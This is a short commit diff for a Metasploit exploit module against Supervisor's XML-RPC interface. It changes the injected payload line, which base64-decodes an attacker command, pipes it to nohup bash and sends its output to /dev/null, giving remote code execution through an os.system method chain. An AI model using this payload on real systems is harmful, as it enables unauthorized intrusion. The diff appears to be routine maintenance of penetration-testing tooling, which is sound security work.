Rework the bash, redirect stdout/err to /dev/null

Dont need the -

modules/exploits/linux/http/supervisor_xmlrpc_exec.rb

@@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote
   <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
   <params>
     <param>
-      <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash - &amp;</string>
+      <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string>
     </param>
   </params>
 </methodCall>}